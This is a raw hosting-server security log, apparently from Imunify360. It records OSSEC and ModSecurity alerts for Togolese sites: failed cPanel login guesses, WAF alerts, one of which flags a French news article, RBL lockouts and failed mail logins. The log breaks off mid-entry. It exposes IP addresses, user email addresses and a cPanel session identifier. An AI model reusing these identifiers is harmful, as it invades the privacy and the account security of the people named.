rule: 11000
name: Login failed on the cpanel service.
abuser: 197.237.48.232
country_id: 192950
description:
[2026-06-26 18:55:54 +0000] info [cpaneld] 197.237.48.232 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.118.59.10
country_id: 3469034
description:
[2026-06-26 18:56:03 +0000] info [cpaneld] 138.118.59.10 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.6.16.110
country_id: 2921044
description:
[2026-06-26 18:56:07 +0000] info [cpaneld] 176.6.16.110 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.0.140
country_id: 2921044
description:
[2026-06-26 18:55:58 +0000] info [cpaneld] 92.208.0.140 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.31.225
country_id: 3469034
description:
[2026-06-26 18:57:11 +0000] info [cpaneld] 200.9.31.225 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 158.173.158.145
country_id: 3017382
description:
[2026-06-26 18:56:52 +0000] info [webmaild] 158.173.158.145 - ingersarlu@inger.tg "POST /cpsess2817104681/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [158.173.158.145]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.192.240.104
country_id: 3996063
description:
[2026-06-26 18:57:32 +0000] info [cpaneld] 189.192.240.104 - nstrea "GET /login/?login_only=1&user=nstrea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstrea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.209.190.244
country_id: 2921044
description:
[2026-06-26 18:57:15 +0000] info [cpaneld] 92.209.190.244 - nstreampro "GET /login/?login_only=1&user=nstreampro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreampro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.150.87
country_id: 2542007
description:
[2026-06-26 18:57:38 +0000] info [cpaneld] 196.117.150.87 - nstr "GET /login/?login_only=1&user=nstr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.228.206.15
country_id: 298795
description:
[2026-06-26 18:57:41 +0000] info [cpaneld] 109.228.206.15 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.94.202.243
country_id: 3469034
description:
[2026-06-26 18:57:24 +0000] info [cpaneld] 138.94.202.243 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.16.67.136
country_id: 2215636
description:
[2026-06-26 18:57:27 +0000] info [cpaneld] 165.16.67.136 - nstream "GET /login/?login_only=1&user=nstream&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.58.74.197
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/18580 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.42.1.106
country_id: 3658394
description:
[2026-06-26 18:57:19 +0000] info [cpaneld] 186.42.1.106 - nstreamprocom "GET /login/?login_only=1&user=nstreamprocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamprocom (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>conform\xc3\xa9ment aux dispositions des articles 107 \xc3\xa0 110 du r\xc3\xa8glement int\xc3\xa9rieur de l\xe2\x80\x99assembl\xc3\xa9e nationale, le ministre d\xc3\xa9l\xc3\xa9gu\xc3\xa9 aupr\xc3\xa8s du ministre de l\xe2\x80\x99\xc3\xa9conomie, charg\xc3\xa9 de l\xe2\x80\x99\xc3\xa9nergie et des ressources mini\xc3\xa8res, robert koffi messan eklo, \xc3\xa9tait devant la repr\xc3\xa9sentation nationale, ce vendredi 26 juin 2026, dans le cadre d\xe2\x80\x99une question orale avec d\xc3\xa9bat relative aux d\xc3\xa9lestages et aux coupures d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c\xe2\x80\x99\xc3\xa9tait au cours de la 5\xe1\xb5\x89 s\xc3\xa9ance pl\xc3\xa9ni\xc3\xa8re de la 1\xca\xb3\xe1\xb5\x89 session ordinaire de l\xe2\x80\x99ann\xc3\xa9e, pr\xc3\xa9sid\xc3\xa9e par le professeur komi selom klassou, pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31570,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/an-enne.jpg\" alt=\"\" class=\"wp-image-31570\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette interpellation a \xc3\xa9t\xc3\xa9 port\xc3\xa9e par l\xe2\x80\x99honorable hessou passiw\xc3\xa8, vice-pr\xc3\xa9sident de la commission agropastorale, de l\xe2\x80\x99am\xc3\xa9nagement du territoire et du d\xc3\xa9veloppement local. le d\xc3\xa9put\xc3\xa9 a attir\xc3\xa9 l\xe2\x80\x99attention du gouvernement sur la multiplication des d\xc3\xa9lestages et des coupures d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9 observ\xc3\xa9s ces derniers mois dans plusieurs localit\xc3\xa9s, y compris \xc3\xa0 lom\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a demand\xc3\xa9 des explications sur les causes de ces perturbations, les mesures prises pour en limiter les impacts ainsi que les solutions structurelles envisag\xc3\xa9es pour garantir un approvisionnement \xc3\xa9lectrique durable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>le gouvernement \xc3\xa9voque la baisse des importations d\xe2\x80\x99\xc3\xa9lectricit\xc3\xa9</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans sa r\xc3\xa9ponse, le ministre d\xc3\xa9l\xc3\xa9gu\xc3\xa9 robert koffi messan eklo a expliqu\xc3\xa9 que les d\xc3\xa9lestages r\xc3\xa9sultent principalement d'une baisse significative des importations d'\xc3\xa9lectricit\xc3\xa9 en provenance du ghana et du nig\xc3\xa9ria. alors que la demande nationale atteint environ 360 m\xc3\xa9gawatts aux heures de pointe, le togo ne dispose que d'environ 180 m\xc3\xa9gawatts de production nationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les importations, qui s'\xc3\xa9levaient habituellement \xc3\xa0 110 m\xc3\xa9gawatts en provenance du ghana et 115 m\xc3\xa9gawatts du nig\xc3\xa9ria, sont tomb\xc3\xa9es \xc3\xa0 certains moments \xc3\xa0 20 m\xc3\xa9gawatts et 70 m\xc3\xa9gawatts respectivement, cr\xc3\xa9ant un d\xc3\xa9ficit de puissance qui explique les d\xc3\xa9lestages observ\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a pr\xc3\xa9cis\xc3\xa9 qu'il convient de distinguer les d\xc3\xa9lestages dus \xc3\xa0 l'insuffisance de la puissance disponible des coupures techniques li\xc3\xa9es \xc3\xa0 des incidents sur le r\xc3\xa9seau, aux travaux de maintenance ou encore aux intemp\xc3\xa9ries. il a \xc3\xa9galement relev\xc3\xa9 que les fortes chaleurs accentuent la consommation d'\xc3\xa9lectricit\xc3\xa9, notamment pendant les heures de pointe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des mesures imm\xc3\xa9diates pour renforcer l\xe2\x80\x99offre \xc3\xa9lectrique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>face \xc3\xa0 cette situation, le gouvernement a engag\xc3\xa9 plusieurs actions. un premier groupe de production de 20 m\xc3\xa9gawatts est d\xc3\xa9j\xc3\xa0 en service depuis 2025 et un second groupe de m\xc3\xaame capacit\xc3\xa9 sera mis en exploitation tr\xc3\xa8s prochainement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>des discussions sont \xc3\xa9galement men\xc3\xa9es avec les fournisseurs d'\xc3\xa9lectricit\xc3\xa9 et de gaz afin de s\xc3\xa9curiser les approvisionnements \xc3\xa9nerg\xc3\xa9tiques du pays. parall\xc3\xa8lement, le gouvernement poursuit le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec la mise en service prochaine de la centrale solaire de dapaong, d'une capacit\xc3\xa9 de 25 m\xc3\xa9gawatts-cr\xc3\xaate, coupl\xc3\xa9e \xc3\xa0 un syst\xc3\xa8me de stockage de 40 m\xc3\xa9gawattheures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a \xc3\xa9galement invit\xc3\xa9 les m\xc3\xa9nages, les entreprises et les industries \xc3\xa0 adopter des comportements d'efficacit\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique afin de r\xc3\xa9duire la consommation durant les p\xc3\xa9riodes de forte demande.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"570px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:570px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>une strat\xc3\xa9gie de long terme pour renforcer la souverainet\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 des mesures d'urgence, le gouvernement met en \xc5\x93uvre le pacte \xc3\xa9nerg\xc3\xa9tique togo horizon 2030 afin de renforcer durablement la s\xc3\xa9curit\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique du pays. le ministre a rappel\xc3\xa9 que la souverainet\xc3\xa9 \xc3\xa9nerg\xc3\xa9tique repr\xc3\xa9sente un investissement consid\xc3\xa9rable, chaque m\xc3\xa9gawatt suppl\xc3\xa9mentaire n\xc3\xa9cessitant pr\xc3\xa8s d'un million de dollars, auxquels s'ajoutent les co\xc3\xbbts de renforcement du r\xc3\xa9seau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a \xc3\xa9galement indiqu\xc3\xa9 que les tensions sur le march\xc3\xa9 mondial compliquent l'acquisition de nouveaux \xc3\xa9quipements. la forte demande g\xc3\xa9n\xc3\xa9r\xc3\xa9e par le d\xc3\xa9veloppement de l'intelligence artificielle, conjugu\xc3\xa9e aux perturbations provoqu\xc3\xa9es par les conflits dans le golfe, rallonge les d\xc3\xa9lais de livraison des installations de production \xc3\xa9lectrique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le gouvernement pr\xc3\xa9voit ainsi la construction d'une centrale thermique de 120 m\xc3\xa9gawatts \xc3\xa0 lom\xc3\xa9, tout en acc\xc3\xa9l\xc3\xa9rant le d\xc3\xa9veloppement des \xc3\xa9nergies renouvelables avec les centrales solaires de sokod\xc3\xa9 (60 m\xc3\xa9gawatts-cr\xc3\xaate) et awandj\xc3\xa9lo (42 m\xc3\xa9gawatts-cr\xc3\xaate), l'extension de la centrale de blitta de 30 m\xc3\xa9gawatts-cr\xc3\xaate suppl\xc3\xa9mentaires avec 10 m\xc3\xa9gawattheures de stockage, ainsi que la r\xc3\xa9alisation d'un projet de centrale hydro\xc3\xa9lectrique \xc3\xa0 transfert d'\xc3\xa9nergie par pompage \xc3\xa0 kpim\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce projet permettra de porter la capacit\xc3\xa9 du site de 2 m\xc3\xa9gawatts \xc3\xa0 60 m\xc3\xa9gawatts gr\xc3\xa2ce \xc3\xa0 une centrale solaire de 100 m\xc3\xa9gawatts destin\xc3\xa9e \xc3\xa0 pomper l'eau durant la journ\xc3\xa9e avant de produire de l'\xc3\xa9lectricit\xc3\xa9 pendant les heures de pointe. \xc3\x80 terme, ces projets devraient porter les capacit\xc3\xa9s solaires nationales \xc3\xa0 pr\xc3\xa8s de 400 m\xc3\xa9gawatts-cr\xc3\xaate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le ministre a \xc3\xa9galement annonc\xc3\xa9 le d\xc3\xa9ploiement progressif de batteries de grande capacit\xc3\xa9 sur des points strat\xc3\xa9giques du r\xc3\xa9seau afin d'am\xc3\xa9liorer la stabilit\xc3\xa9 de l'alimentation \xc3\xa9lectrique et d'att\xc3\xa9nuer les effets des microcoupures, notamment dans les zones industrielles et les centres administratifs. la modernisation et le renforcement du r\xc3\xa9seau de transport et de distribution constituent \xc3\xa9galement un axe majeur de cette strat\xc3\xa9gie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31459,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_payez-la-tvm-simple-et-pratique.jpg\" alt=\"\" class=\"wp-image-31459\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>l\xe2\x80\x99assembl\xc3\xa9e nationale appelle \xc3\xa0 acc\xc3\xa9l\xc3\xa9rer les investissements</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au terme de ces questions orales avec d\xc3\xa9bat, les d\xc3\xa9put\xc3\xa9s ont marqu\xc3\xa9 leur satisfaction \xc3\xa0 l\xe2\x80\x99\xc3\xa9gard des explications apport\xc3\xa9es par le gouvernement. le pr\xc3\xa9sident de l\xe2\x80\x99assembl\xc3\xa9e nationale, le professeur komi selom klassou, a salu\xc3\xa9 la qualit\xc3\xa9 des explications fournies par le gouvernement, les efforts d\xc3\xa9j\xc3\xa0 consentis et exhort\xc3\xa9 l\xe2\x80\x99ex\xc3\xa9cutif \xc3\xa0 poursuivre les actions engag\xc3\xa9es afin de mettre fin aux d\xc3\xa9lestages intempestifs auxquels les togolais sont confront\xc3\xa9s depuis plusieurs mois.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il a rappel\xc3\xa9 que l'acc\xc3\xa8s \xc3\xa0 une \xc3\xa9lectricit\xc3\xa9 fiable constitue un levier essentiel de d\xc3\xa9veloppement \xc3\xa9conomique, d'am\xc3\xa9lioration des conditions de vie des populations et de comp\xc3\xa9titivit\xc3\xa9 des entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em> </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.209.167.167
country_id: 2017370
description:
[2026-06-26 19:00:07 +0000] info [cpaneld] 176.209.167.167 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.33.130.65
country_id: 3686110
description:
[2026-06-26 19:00:32 +0000] info [cpaneld] 179.33.130.65 - togoc "GET /login/?login_only=1&user=togoc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.202.213.56
country_id: 290557
description:
[2026-06-26 19:00:28 +0000] info [cpaneld] 94.202.213.56 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.239.145.233
country_id: 798544
description:
Jun 26 19:00:29 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.239.145.233 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.159.95.149
country_id: 99237
description:
[2026-06-26 19:00:41 +0000] info [cpaneld] 95.159.95.149 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.59.78.68
country_id: 2017370
description:
[2026-06-26 19:00:43 +0000] info [cpaneld] 2.59.78.68 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.105.147.98
country_id: 2017370
description:
[2026-06-26 19:00:20 +0000] info [cpaneld] 79.105.147.98 - togocarr "GET /login/?login_only=1&user=togocarr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.192.89.60
country_id: 3996063
description:
[2026-06-26 19:00:23 +0000] info [cpaneld] 189.192.89.60 - togocar "GET /login/?login_only=1&user=togocar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.249.61
country_id: 3865483
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.56.16.39
country_id: 3895114
domain: www.mediatopnews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mediatopnews.tghttp/www.mediatopnews.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-26 19:05:12 +0000] info [cpaneld] 5.231.64.159 NEW wcnyaruu:G6EaPdOaSSDdSaYV address=5.231.64.159,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.37.116.234
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:198.37.116.234||TA:198.37.116.234||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-06-26 19:06:48 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=hr@cloud-et-racks.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.249.140
country_id: 2750405
domain: ariana.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.28.249.140||TA:104.28.249.140||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 107.151.216.188
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.242.222.122
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecole-de-la-chance-une-formation-gratuite-pour-lavenir-de-1-500-jeunes-filles-togolaises/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.124.26.4
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/02da41c0223ab76d2a8745bc81de29d6_L-300x208.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/02da41c0223ab76d2a8745bc81de29d6_L.webp 500w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.83.61.166
country_id: 2245662
domain: ucao-uut.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85324.ucao-uut.tg||ServerName:ucao-uut.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0619ae4b3dccf9ed2efa73937d2d82babcaf1f60||Title:0xbbcddf73||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.158.2.25
country_id: 3865483
description:
186.158.2.25 - - [26/Jun/2026:19:13:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001053&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-42145netidm89zen.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782501186 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-42145netidm89zen.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.158.2.25


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 177.234.138.234
country_id: 1269750
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:177.234.138.234||TA:177.234.138.234||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.92
country_id: 3469034
description:
Jun 26 19:14:10 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.92
country_id: 3469034
description:
Jun 26 19:14:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.92 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 143.58.202.11
country_id: 2635167
description:
143.58.202.11 - - [26/Jun/2026:19:14:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935002&pdata=https%253A%252F%252Fcpanel.regus.com.tg%252F%253Flocale%253Des_419&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782501264 HTTP/2.0" 302 0 cpanel.regus.com.tg "https://cpanel.regus.com.tg/?locale=es_419" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:143.58.202.11


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.179.165
country_id: 3017382
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:148.135.179.165||TA:148.135.179.165||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.187.114.65
country_id: 597427
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.187.114.65||TA:193.187.114.65||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.49.187.61
country_id: 2017370
description:
2026-06-26 19:24:26 dovecot_plain authenticator failed for H=(dpugbcyzskj1ymnlqvmgqth3w8dr) [130.49.187.61]:56634: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.181.133.153
country_id: 3469034
description:
2026-06-26 19:26:00 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [179.181.133.153]:44375: 535 Incorrect authentication data (set_id=emensah@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.142
country_id: 3469034
description:
Jun 26 19:26:24 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.99
country_id: 3175395
description:
Jun 26 19:28:29 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.99 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.228.175
country_id: 2077456
domain: libertetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:46.203.228.175||TA:46.203.228.175||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.129.64.194
country_id: 6252001
description:
23.129.64.194 - utkxprkk [26/Jun/2026:19:28:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316388&pdata=https%253A%252F%252Fletempsdaider.org%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782502116 HTTP/2.0" 302 0 letempsdaider.org "https://letempsdaider.org:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.129.64.194


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.213
country_id: 1512440
domain: togodailynews.tg
description:
